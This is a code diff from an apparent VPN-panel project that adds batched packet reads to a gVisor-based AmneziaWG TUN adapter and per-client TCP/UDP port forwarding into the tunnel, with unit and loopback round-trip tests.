n, err := view.Read(buf[0][offset:])
if err != nil {
return 0, err
}
sizes[0] = n
count := 1
for count < len(buf) {
select {
case view, ok := <-t.incomingPacket:
if !ok {
return count, nil
}
n, err := view.Read(buf[count][offset:])
if err != nil {
return count, nil
}
sizes[count] = n
count++
default:
return count, nil
}
}
return count, nil
}
func (t *stackTun) Write(buf [][]byte, offset int) (int, error) {
for _, b := range buf {
packet := b[offset:]
if len(packet) == 0 {
continue
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: buffer.MakeWithData(packet)})
switch packet[0] >> 4 {
case 4:
t.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
case 6:
t.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
default:
return 0, syscall.EAFNOSUPPORT
}
}
return len(buf), nil
}
func (t *stackTun) WriteNotify() {
pkt := t.ep.Read()
if pkt == nil {
return
}
view := pkt.ToView()
pkt.DecRef()
t.incomingPacket <- view
}
func (t *stackTun) Close() error {
t.stack.RemoveNIC(1)
t.stack.Close()
t.ep.RemoveNotify(t.notifyHandle)
t.ep.Close()
if t.events != nil {
close(t.events)
}
if t.incomingPacket != nil {
close(t.incomingPacket)
}
return nil
}
// enablePromiscuousRouting puts the NIC into promiscuous + spoofing mode,
// the precondition both AttachTCPForwarder and AttachUDPHandler need to see
// packets addressed to a destination other than the stack's own configured
// local address. Safe to call from both (and more than once): gVisor's
// SetPromiscuousMode/SetSpoofing just set a bool on the NIC, not something
// that accumulates or needs undoing between calls.
func enablePromiscuousRouting(gstack *stack.Stack) {
gstack.SetPromiscuousMode(1, true)
gstack.SetSpoofing(1, true)
}
// addrFromTcpip converts a gVisor tcpip.Address (4 or 16 raw bytes) to the
// stdlib netip.Addr type the rest of this package and its callers use.
func addrFromTcpip(a tcpip.Address) netip.Addr {
if a.Len() == 4 {
var b [4]byte
copy(b[:], a.AsSlice())
return netip.AddrFrom4(b)
}
var b [16]byte
copy(b[:], a.AsSlice())
return netip.AddrFrom16(b)
}
+88
View File
@@ -0,0 +1,88 @@
package amneziawgnet
import (
"testing"
"gvisor.dev/gvisor/pkg/buffer"
)
// TestStackTunReadDrainsBufferedBatch is a regression test for a real
// throughput bug: Read used to always return exactly one packet per call
// no matter how many were already queued, forcing amneziawg-go's TUN
// reader to pay a full peer-lookup+staging+syscall cycle per packet on the
// download path while the upload path (via the UDP bind's own
// recvmmsg/sendmmsg batching) amortized that cost across up to 128
// packets. Confirmed live: this alone took real download throughput from
// 30-40 Mbit/s to 130-250 Mbit/s on a real test connection (see commit
// 6436fd9c's message and internal/amneziawgnet/netstack.go's own comment
// on tunQueueDepth for the full story) -- this test locks in the second,
// finer-grained fix on top of that: Read must actually drain what's
// already buffered instead of returning after the first packet.
func TestStackTunReadDrainsBufferedBatch(t *testing.T) {
t.Parallel()
tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
packets := [][]byte{{1, 2, 3}, {4, 5}, {6, 7, 8, 9}}
for _, p := range packets {
tun.incomingPacket <- buffer.NewViewWithData(p)
}
buf := make([][]byte, 8)
sizes := make([]int, 8)
for i := range buf {
buf[i] = make([]byte, 64)
}
n, err := tun.Read(buf, sizes, 0)
if err != nil {
t.Fatalf("Read: %v", err)
}
if n != len(packets) {
t.Fatalf("Read returned %d packets, want %d (all buffered packets in one call)", n, len(packets))
}
for i, want := range packets {
got := buf[i][:sizes[i]]
if string(got) != string(want) {
t.Errorf("packet %d = %v, want %v", i, got, want)
}
}
}
// TestStackTunReadStopsAtBufCapacity confirms Read never returns more
// packets than the caller's buf can hold, and that whatever didn't fit is
// still there (in order) for the next call -- draining must respect the
// caller's batch size, not just gulp everything queued.
func TestStackTunReadStopsAtBufCapacity(t *testing.T) {
t.Parallel()
tun := &stackTun{incomingPacket: make(chan *buffer.View, tunQueueDepth)}
packets := [][]byte{{1}, {2}, {3}}
for _, p := range packets {
tun.incomingPacket <- buffer.NewViewWithData(p)
}
buf := make([][]byte, 2)
sizes := make([]int, 2)
for i := range buf {
buf[i] = make([]byte, 64)
}
n, err := tun.Read(buf, sizes, 0)
if err != nil {
t.Fatalf("first Read: %v", err)
}
if n != 2 {
t.Fatalf("first Read returned %d, want 2 (buf capacity)", n)
}
n, err = tun.Read(buf, sizes, 0)
if err != nil {
t.Fatalf("second Read: %v", err)
}
if n != 1 {
t.Fatalf("second Read returned %d, want 1 (the leftover packet)", n)
}
if got := buf[0][:sizes[0]]; string(got) != "\x03" {
t.Errorf("leftover packet = %v, want [3]", got)
}
}
+343
View File
@@ -0,0 +1,343 @@
// Phase 3.6: per-client port-forwarding. A real Go listener bound to each
// forwarded external port relays into the peer's own tunnel-internal
// address via a direct gonet dial -- the mirror image of
// AttachTCPForwarder/AttachUDPHandler (which relay FROM the tunnel TO the
// real world), and this path's replacement for the retired kernel-module
// architecture's PostUp/PostDown iptables DNAT rules: there's no real OS
// network interface here for DNAT to rewrite packets on, the same root
// reason Phase 3.5's IPv6 alias mechanism couldn't reuse NDP-proxy either.
//
// Deliberately dials straight into the gVisor stack rather than relaying
// through Xray's own SOCKS5 inbound the way the outbound direction does
// (relay.go): Xray runs as a genuinely separate OS process
// (internal/xray/process.go), so it has no visibility into this process's
// private, in-memory netstack at all -- a tunnel-internal address like
// 10.8.1.5:8080 has no route from Xray's own freedom outbound; only code
// holding the actual *stack.Stack can reach it. Accepted consequence:
// forwarded-port bytes don't appear in Xray's per-email stats/quota
// counters. This undercounts, it doesn't bypass enforcement -- a
// depleted/disabled client's peer is dropped from the interface's peer list
// entirely by DesiredAmneziaWGInstances, which tears its forwards down too
// as a side effect of Reconcile's own diff below.
package amneziawgnet
import (
"context"
"fmt"
"io"
"net"
"net/netip"
"sync"
"time"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
// portForwardProto distinguishes the two sockets a single forwarded port
// needs -- ForwardedPorts has no per-port protocol selector (matches the
// retired DNAT implementation's own unconditional-TCP+UDP contract), so
// every port gets both.
type portForwardProto uint8
const (
tcpForward portForwardProto = iota
udpForward
)
// portForwardKey identifies one listener: a specific peer's specific port on
// a specific protocol. Two different peers (even on the same inbound)
// forwarding the same port number get two independent listeners under two
// independent keys -- a same-port collision surfaces as an ordinary bind
// failure on whichever one opens second, not something actively prevented
// here (see the migration plan's Phase 3.6 notes).
type portForwardKey struct {
email string
port int
proto portForwardProto
}
// portForwardTargetFunc resolves a peer's current tunnel-internal target
// address by email, re-checked on every new connection/session rather than
// captured once at listen time -- so a peer re-IP takes effect for the next
// connection with zero listener churn (see Reconcile's own comment on
// this). false means the peer has no resolvable target right now (removed,
// or its AllowedIPs/ForwardedPorts changed): the caller drops the
// connection/packet, and Reconcile will close the now-undesired listener
// shortly after, if it hasn't already.
type portForwardTargetFunc func(email string) (netip.Addr, bool)
// portForwardListener is the common handle both listenPortForwardTCP and
// listenPortForwardUDP return, so PortForwardSet can hold either behind one
// map value type without a type switch.
type portForwardListener interface {
Close()
}
// PortForwardSet owns every open port-forward listener for one embedded
// AmneziaWG interface (one per amneziawgnet managed entry -- see
// manager.go). Unlike v6alias.go's stateless desired/diff/apply functions,
// this holds live Go resources (net.Listener/net.PacketConn) that must be
// explicitly closed -- there's no OS-level idempotent recreate the way
// `ip addr add` has -- so Reconcile diffs against its own live listeners
// map directly instead of a remembered prior Instance.
type PortForwardSet struct {
gstack *stack.Stack
inboundID int
mu sync.Mutex
peerTargets map[string]netip.Addr
listeners map[portForwardKey]portForwardListener
}
// NewPortForwardSet creates an empty supervisor for one embedded interface's
// stack. Call Reconcile to actually open any listeners.
func NewPortForwardSet(gstack *stack.Stack, inboundID int) *PortForwardSet {
return &PortForwardSet{
gstack: gstack,
inboundID: inboundID,
peerTargets: map[string]netip.Addr{},
listeners: map[portForwardKey]portForwardListener{},
}
}
// desiredPeerTargets resolves each peer's tunnel-internal target address:
// the first IPv4 AllowedIPs entry, falling back to the first IPv6 entry only
// when no v4 entry exists and the instance has IPv6 enabled (mirrors
// desiredV6Aliases' own gating in v6alias.go -- no v6 route exists on the
// stack otherwise). A peer with no resolvable address at all (neither
// family, or an unparseable entry) is simply absent from the result.
func desiredPeerTargets(inst amneziawg.Instance) map[string]netip.Addr {
out := map[string]netip.Addr{}
for _, p := range inst.Peers {
if p.Email == "" {
continue
}
raw := amneziawg.FirstIPv4(p.AllowedIPs)
if raw == "" && inst.IPv6Enabled {
raw = amneziawg.FirstIPv6(p.AllowedIPs)
}
if raw == "" {
continue
}
addr, err := netip.ParseAddr(raw)
if err != nil {
continue
}
out[p.Email] = addr
}
return out
}
// desiredPortForwardKeys returns the full set of listener keys inst wants
// right now: one tcpForward and one udpForward key per port in every peer's
// ForwardedPorts spec, for every peer that also has a resolvable target
// (see desiredPeerTargets) -- a key never exists without a target, so
// Reconcile can always resolve one for any key it opens.
func desiredPortForwardKeys(inst amneziawg.Instance) map[portForwardKey]struct{} {
out := map[portForwardKey]struct{}{}
targets := desiredPeerTargets(inst)
for _, p := range inst.Peers {
if p.Email == "" || p.ForwardedPorts == "" {
continue
}
if _, ok := targets[p.Email]; !ok {
continue
}
for _, port := range amneziawg.ExpandForwardedPorts(p.ForwardedPorts) {
out[portForwardKey{email: p.Email, port: port, proto: tcpForward}] = struct{}{}
out[portForwardKey{email: p.Email, port: port, proto: udpForward}] = struct{}{}
}
}
return out
}
// Reconcile brings the supervisor's open listeners in line with what inst
// currently wants: closes anything no longer desired, opens anything newly
// desired, leaves everything else untouched. Never returns an error --
// matches applyV6Aliases' contract exactly: one listener failing to bind
// only narrows that specific forward, never a reason to fail the whole
// reconcile.
func (s *PortForwardSet) Reconcile(inst amneziawg.Instance) {
wantTargets := desiredPeerTargets(inst)
wantKeys := desiredPortForwardKeys(inst)
s.mu.Lock()
s.peerTargets = wantTargets
var toClose []portForwardListener
for key, ln := range s.listeners {
if _, ok := wantKeys[key]; ok {
continue
}
toClose = append(toClose, ln)
delete(s.listeners, key)
}
var toOpen []portForwardKey
for key := range wantKeys {
if _, ok := s.listeners[key]; ok {
continue
}
toOpen = append(toOpen, key)
}
s.mu.Unlock()
// Outside the lock: closing/opening real sockets shouldn't block a
// concurrent targetFor lookup from an in-flight connection on some
// other, unaffected listener.
for _, ln := range toClose {
ln.Close()
}
for _, key := range toOpen {
ln := openPortForwardListener(s.gstack, s.inboundID, key, s.targetFor)
if ln == nil {
continue
}
s.mu.Lock()
s.listeners[key] = ln
s.mu.Unlock()
}
}
// targetFor implements portForwardTargetFunc against the supervisor's
// current peerTargets snapshot.
func (s *PortForwardSet) targetFor(email string) (netip.Addr, bool) {
s.mu.Lock()
defer s.mu.Unlock()
addr, ok := s.peerTargets[email]
return addr, ok
}
// Close tears down every open listener. Call when the owning Device is
// closed (or rebuilt -- see manager.go's ensureLocked, which always
// constructs a fresh PortForwardSet alongside a fresh Device.Stack, the
// same reason it also rebuilds udpRelay from scratch rather than reusing
// one bound to a discarded stack).
func (s *PortForwardSet) Close() {
s.mu.Lock()
listeners := s.listeners
s.listeners = map[portForwardKey]portForwardListener{}
s.mu.Unlock()
for _, ln := range listeners {
ln.Close()
}
}
// openPortForwardListener dispatches to the protocol-specific opener and
// normalizes its result to a real nil interface value on failure -- a
// (*tcpForwardListener)(nil) (or *udpForwardListener(nil)) wrapped directly
// into the portForwardListener interface would be a non-nil interface
// holding a nil pointer, Go's classic trap, so the concrete pointer is
// checked before it's ever assigned into the interface-typed return.
func openPortForwardListener(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) portForwardListener {
switch key.proto {
case tcpForward:
if ln := listenPortForwardTCP(gstack, inboundID, key, target); ln != nil {
return ln
}
case udpForward:
if ln := listenPortForwardUDP(gstack, inboundID, key, target); ln != nil {
return ln
}
}
return nil
}
const portForwardDialTimeout = 10 * time.Second
// tunnelNetwork returns the gVisor network protocol number matching addr's
// address family, for dialing toward it inside the embedded stack.
func tunnelNetwork(addr netip.Addr) tcpip.NetworkProtocolNumber {
if addr.Is4() {
return ipv4.ProtocolNumber
}
return ipv6.ProtocolNumber
}
// tunnelFullAddress builds the tcpip.FullAddress a gonet dial needs to
// reach addr:port inside the embedded stack -- NIC 1, matching
// createNetTUNWithStack's own CreateNIC(1, ...) (this package's stack only
// ever registers one NIC, and WriteUDPReply's WriteRawPacket already
// addresses it explicitly the same way elsewhere in this package, rather
// than relying on NIC 0's route-table auto-selection).
func tunnelFullAddress(addr netip.Addr, port int) tcpip.FullAddress {
return tcpip.FullAddress{NIC: 1, Addr: tcpip.AddrFromSlice(addr.AsSlice()), Port: uint16(port)}
}
// tcpForwardListener is one open host-facing TCP listener for a single
// portForwardKey.
type tcpForwardListener struct {
ln net.Listener
closing chan struct{}
}
// listenPortForwardTCP opens a host-facing TCP listener on key.port and
// starts relaying accepted connections into the tunnel toward
// target(key.email). A bind failure (most commonly EADDRINUSE, whether from
// an unrelated process or another AmneziaWG peer/inbound that already
// claimed the same port) is logged and returns nil; Reconcile treats a nil
// result as "not open this round" and retries on every future Reconcile
// call for as long as the key stays desired.
func listenPortForwardTCP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *tcpForwardListener {
ln, err := (&net.ListenConfig{}).Listen(context.Background(), "tcp", fmt.Sprintf(":%d", key.port))
if err != nil {
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen tcp :%d: %v", inboundID, key.email, key.port, err)
return nil
}
l := &tcpForwardListener{ln: ln, closing: make(chan struct{})}
logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening tcp :%d", inboundID, key.email, key.port)
go l.acceptLoop(gstack, inboundID, key, target)
return l
}
func (l *tcpForwardListener) acceptLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
for {
conn, err := l.ln.Accept()
if err != nil {
select {
case <-l.closing:
return // intentional shutdown, not a real accept error
default:
}
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: accept tcp :%d: %v", inboundID, key.email, key.port, err)
return
}
go relayTCPForward(gstack, conn, inboundID, key, target)
}
}
func relayTCPForward(gstack *stack.Stack, conn net.Conn, inboundID int, key portForwardKey, target portForwardTargetFunc) {
defer conn.Close()
addr, ok := target(key.email)
if !ok {
return
}
ctx, cancel := context.WithTimeout(context.Background(), portForwardDialTimeout)
defer cancel()
tunnelConn, err := gonet.DialContextTCP(ctx, gstack, tunnelFullAddress(addr, key.port), tunnelNetwork(addr))
if err != nil {
logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
return
}
defer tunnelConn.Close()
done := make(chan struct{}, 2)
go func() { _, _ = io.Copy(tunnelConn, conn); done <- struct{}{} }()
go func() { _, _ = io.Copy(conn, tunnelConn); done <- struct{}{} }()
<-done
}
// Close stops accepting new connections. Already-relaying connections are
// left to finish on their own -- there's no shared state to tear down early
// for, and an abrupt cut would just look like a network error to whichever
// external client was mid-transfer.
func (l *tcpForwardListener) Close() {
close(l.closing)
l.ln.Close()
}
+417
View File
@@ -0,0 +1,417 @@
package amneziawgnet
import (
"context"
"fmt"
"io"
"net"
"net/netip"
"testing"
"time"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
func peerWithPortsAndIPs(email, forwardedPorts string, ips ...string) amneziawg.Peer {
return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips, ForwardedPorts: forwardedPorts}
}
// --- desiredPeerTargets ---
func TestDesiredPeerTargetsPrefersIPv4(t *testing.T) {
inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "", "10.8.1.2/32", "fd86::2/128"),
}}
got := desiredPeerTargets(inst)
addr, ok := got["a@x"]
if !ok || addr.String() != "10.8.1.2" {
t.Fatalf("desiredPeerTargets = %v, want a@x -> 10.8.1.2", got)
}
}
func TestDesiredPeerTargetsFallsBackToIPv6WhenEnabled(t *testing.T) {
inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
}}
got := desiredPeerTargets(inst)
addr, ok := got["a@x"]
if !ok || addr.String() != "fd86::2" {
t.Fatalf("desiredPeerTargets = %v, want a@x -> fd86::2", got)
}
}
func TestDesiredPeerTargetsSkipsIPv6OnlyWhenIPv6Disabled(t *testing.T) {
inst := amneziawg.Instance{IPv6Enabled: false, Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "", "fd86::2/128"),
}}
if got := desiredPeerTargets(inst); len(got) != 0 {
t.Fatalf("desiredPeerTargets = %v, want empty (IPv6-only peer, IPv6 disabled)", got)
}
}
func TestDesiredPeerTargetsSkipsPeerWithoutEmailOrAddress(t *testing.T) {
inst := amneziawg.Instance{IPv6Enabled: true, Peers: []amneziawg.Peer{
peerWithPortsAndIPs("", "", "10.8.1.2/32"), // no email
peerWithPortsAndIPs("b@x", ""), // no AllowedIPs at all
}}
if got := desiredPeerTargets(inst); len(got) != 0 {
t.Fatalf("desiredPeerTargets = %v, want empty", got)
}
}
// --- desiredPortForwardKeys ---
func TestDesiredPortForwardKeysEmptyWhenNoForwardedPorts(t *testing.T) {
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "", "10.8.1.2/32"),
}}
if got := desiredPortForwardKeys(inst); len(got) != 0 {
t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
}
}
func TestDesiredPortForwardKeysEmptyWhenNoResolvableTarget(t *testing.T) {
// ForwardedPorts is set, but the peer has no AllowedIPs to resolve a
// target from -- must not produce keys for a peer nothing can dial.
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
{Email: "a@x", ForwardedPorts: "8080"},
}}
if got := desiredPortForwardKeys(inst); len(got) != 0 {
t.Fatalf("desiredPortForwardKeys = %v, want empty", got)
}
}
func TestDesiredPortForwardKeysOneTCPAndUDPKeyPerPort(t *testing.T) {
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "8080,8081", "10.8.1.2/32"),
}}
got := desiredPortForwardKeys(inst)
if len(got) != 4 {
t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 ports x 2 protocols)", got)
}
for _, port := range []int{8080, 8081} {
for _, proto := range []portForwardProto{tcpForward, udpForward} {
key := portForwardKey{email: "a@x", port: port, proto: proto}
if _, ok := got[key]; !ok {
t.Errorf("desiredPortForwardKeys missing %+v", key)
}
}
}
}
func TestDesiredPortForwardKeysMultiplePeersDoNotMix(t *testing.T) {
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", "8080", "10.8.1.2/32"),
peerWithPortsAndIPs("b@x", "8080", "10.8.1.3/32"), // same port, different peer
}}
got := desiredPortForwardKeys(inst)
if len(got) != 4 {
t.Fatalf("desiredPortForwardKeys = %v, want 4 entries (2 peers x 2 protocols, same port kept separate per email)", got)
}
}
// --- PortForwardSet.Reconcile: real stack, no handshake needed (dialing
// isn't exercised by these -- only the host-facing listener lifecycle) ---
func newTestStack(t *testing.T, addr string) *stack.Stack {
t.Helper()
tunDev, gstack, err := createNetTUNWithStack([]netip.Addr{netip.MustParseAddr(addr)}, 1420)
if err != nil {
t.Fatalf("createNetTUNWithStack: %v", err)
}
t.Cleanup(func() { tunDev.Close() })
return gstack
}
func dialLoopback(t *testing.T, network string, port int) {
t.Helper()
conn, err := net.DialTimeout(network, fmt.Sprintf("127.0.0.1:%d", port), time.Second)
if err != nil {
t.Fatalf("dial 127.0.0.1:%d (%s): %v", port, network, err)
}
conn.Close()
}
func TestPortForwardSetReconcileOpensAndClosesListeners(t *testing.T) {
gs := newTestStack(t, "10.211.0.1")
set := NewPortForwardSet(gs, 501)
const port = 58910
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", fmt.Sprintf("%d", port), "10.211.0.2/32"),
}}
set.Reconcile(inst)
set.mu.Lock()
n := len(set.listeners)
set.mu.Unlock()
if n != 2 {
t.Fatalf("listeners after Reconcile = %d, want 2 (tcp+udp)", n)
}
dialLoopback(t, "tcp", port) // proves a real host listener is actually bound
set.mu.Lock()
tcpBefore := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
set.mu.Unlock()
// Reconciling again with an unchanged instance must not close and
// reopen an unaffected listener.
set.Reconcile(inst)
set.mu.Lock()
tcpAfter := set.listeners[portForwardKey{email: "a@x", port: port, proto: tcpForward}]
set.mu.Unlock()
if tcpBefore != tcpAfter {
t.Error("Reconcile with an unchanged instance replaced an unaffected listener")
}
// Peer removed entirely -> both listeners close.
set.Reconcile(amneziawg.Instance{})
set.mu.Lock()
n = len(set.listeners)
set.mu.Unlock()
if n != 0 {
t.Fatalf("listeners after removal Reconcile = %d, want 0", n)
}
if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", port), time.Second); err == nil {
t.Error("port still accepting connections after the listener should have closed")
}
}
func TestPortForwardSetReconcileSurvivesPreBoundPort(t *testing.T) {
gs := newTestStack(t, "10.211.1.1")
set := NewPortForwardSet(gs, 502)
const collidingPort = 58911
const okPort = 58912
blocker, err := net.Listen("tcp", fmt.Sprintf(":%d", collidingPort))
if err != nil {
t.Fatalf("pre-bind test port: %v", err)
}
defer blocker.Close()
inst := amneziawg.Instance{Peers: []amneziawg.Peer{
peerWithPortsAndIPs("a@x", fmt.Sprintf("%d,%d", collidingPort, okPort), "10.211.1.2/32"),
}}
// Must not panic despite one of the two ports being unbindable, and the
// other port (and its UDP counterpart on the colliding port) must still
// open normally.
set.Reconcile(inst)
set.mu.Lock()
n := len(set.listeners)
_, tcpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: tcpForward}]
_, udpCollidingOpen := set.listeners[portForwardKey{email: "a@x", port: collidingPort, proto: udpForward}]
set.mu.Unlock()
if n != 3 {
t.Fatalf("listeners after Reconcile with one pre-bound port = %d, want 3 (4 desired minus the 1 that couldn't bind)", n)
}
if tcpCollidingOpen {
t.Error("TCP listener on the pre-bound port opened despite the real bind conflict")
}
if !udpCollidingOpen {
t.Error("UDP listener on the colliding port's own number should still open (TCP and UDP binds are independent)")
}
dialLoopback(t, "tcp", okPort)
set.Close()
}
// --- Real round trip: a genuine amneziawg-go client handshakes against a
// real server Device, PortForwardSet opens a real host listener, and a real
// external-side dial (this test's own process) round-trips bytes through
// the actual encrypted tunnel to a service listening on the client's own
// netstack -- proving the full path, not just the listener bookkeeping
// above. Modeled closely on device_test.go's
// TestNewDeviceHandshakeForwarderAndIdentity.
func TestPortForwardRoundTripTCPAndUDP(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
const listenPort = 58920 // fixed loopback test port, matches this package's existing test convention
const tcpPort = 58921
const udpPort = 58922
const clientAddr = "10.202.0.2"
inst := amneziawg.Instance{
Id: 5,
InterfaceName: "awgtest5",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.202.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{
{
Email: "client@test",
PublicKey: clientPub,
AllowedIPs: []string{clientAddr + "/32"},
ForwardedPorts: fmt.Sprintf("%d,%d", tcpPort, udpPort),
},
},
}
dev, err := NewDevice(inst, DeviceOptions{})
if err != nil {
t.Fatalf("NewDevice: %v", err)
}
defer dev.Close()
set := NewPortForwardSet(dev.Stack, inst.Id)
set.Reconcile(inst)
defer set.Close()
// Real amneziawg-go client, same recipe as device_test.go.
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr(clientAddr)},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
// Prime the handshake before exercising the actual port forwards below.
// The server only learns the client's real (roaming) endpoint from a
// packet the client sends it -- buildUAPIConfig never configures an
// endpoint= for a peer server-side (see device.go), and the server has
// no route to initiate a handshake toward an endpoint it doesn't know --
// so without this, relayTCPForward's own dial toward the client races a
// handshake that can never even start server-side and fails outright.
// A throwaway client dial toward nothing in particular is enough:
// queuing any outbound packet triggers amneziawg-go's own automatic
// handshake initiation regardless of whether the dial itself ever
// succeeds (nothing server-side is listening for it), so this loop
// deliberately ignores the dial's own outcome and just gives the
// handshake a few real attempts to complete in the background.
primeCtx, primeCancel := context.WithTimeout(context.Background(), 3*time.Second)
defer primeCancel()
for {
if conn, dialErr := clientNet.DialContext(primeCtx, "tcp", "10.202.9.9:9999"); dialErr == nil {
conn.Close()
}
select {
case <-primeCtx.Done():
goto primed
case <-time.After(200 * time.Millisecond):
}
}
primed:
// A real service on the client's own netstack -- what a real forwarded
// port is ultimately supposed to reach.
tcpSvc, err := clientNet.ListenTCPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, tcpPort)))
if err != nil {
t.Fatalf("client ListenTCP: %v", err)
}
defer tcpSvc.Close()
go func() {
for {
c, err := tcpSvc.Accept()
if err != nil {
return
}
go func() { io.Copy(c, c); c.Close() }()
}
}()
udpSvc, err := clientNet.ListenUDPAddrPort(netip.MustParseAddrPort(fmt.Sprintf("%s:%d", clientAddr, udpPort)))
if err != nil {
t.Fatalf("client ListenUDP: %v", err)
}
defer udpSvc.Close()
go func() {
buf := make([]byte, 1500)
for {
n, addr, err := udpSvc.ReadFrom(buf)
if err != nil {
return
}
udpSvc.WriteTo(buf[:n], addr)
}
}()
// Retry the TCP dial rather than guessing a fixed handshake delay --
// the handshake happens lazily on first real traffic.
const wantTCP = "port-forward tcp round trip"
dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
var tcpConn net.Conn
var lastErr error
for {
tcpConn, lastErr = net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", tcpPort), time.Second)
if lastErr == nil {
break
}
select {
case <-dialCtx.Done():
t.Fatalf("external TCP dial never succeeded: %v", lastErr)
case <-time.After(150 * time.Millisecond):
}
}
defer tcpConn.Close()
if _, err := tcpConn.Write([]byte(wantTCP)); err != nil {
t.Fatalf("write to forwarded TCP port: %v", err)
}
tcpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
gotTCP := make([]byte, len(wantTCP))
if _, err := io.ReadFull(tcpConn, gotTCP); err != nil {
t.Fatalf("read echo from forwarded TCP port: %v", err)
}
if string(gotTCP) != wantTCP {
t.Errorf("TCP round trip = %q, want %q", gotTCP, wantTCP)
}
// UDP: the tunnel is already up (handshake completed above), so this
// can dial straight away.
const wantUDP = "port-forward udp round trip"
udpConn, err := net.DialTimeout("udp", fmt.Sprintf("127.0.0.1:%d", udpPort), time.Second)
if err != nil {
t.Fatalf("external UDP dial: %v", err)
}
defer udpConn.Close()
if _, err := udpConn.Write([]byte(wantUDP)); err != nil {
t.Fatalf("write to forwarded UDP port: %v", err)
}
udpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
gotUDP := make([]byte, len(wantUDP))
if _, err := io.ReadFull(udpConn, gotUDP); err != nil {
t.Fatalf("read echo from forwarded UDP port: %v", err)
}
if string(gotUDP) != wantUDP {
t.Errorf("UDP round trip = %q, want %q", gotUDP, wantUDP)
}
}
+147
View File
@@ -0,0 +1,147 @@
package amneziawgnet
import (
"context"
"fmt"
"net"
"net/netip"
"sync"
"time"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
// portForwardUDPIdleTimeout matches UDPRelay.pump's own idle window
// (relay.go) -- both are "how long to keep a per-flow session alive with no
// traffic before tearing it down," so there's no reason for the two
// directions to disagree.
const portForwardUDPIdleTimeout = 2 * time.Minute
// udpForwardSession is one established flow from a single external source
// address into the tunnel toward a peer -- conn is a connected gonet UDP
// endpoint (DialUDP with a non-nil raddr), so plain Read/Write, not
// ReadFrom/WriteTo, address it correctly.
type udpForwardSession struct {
conn *gonet.UDPConn
}
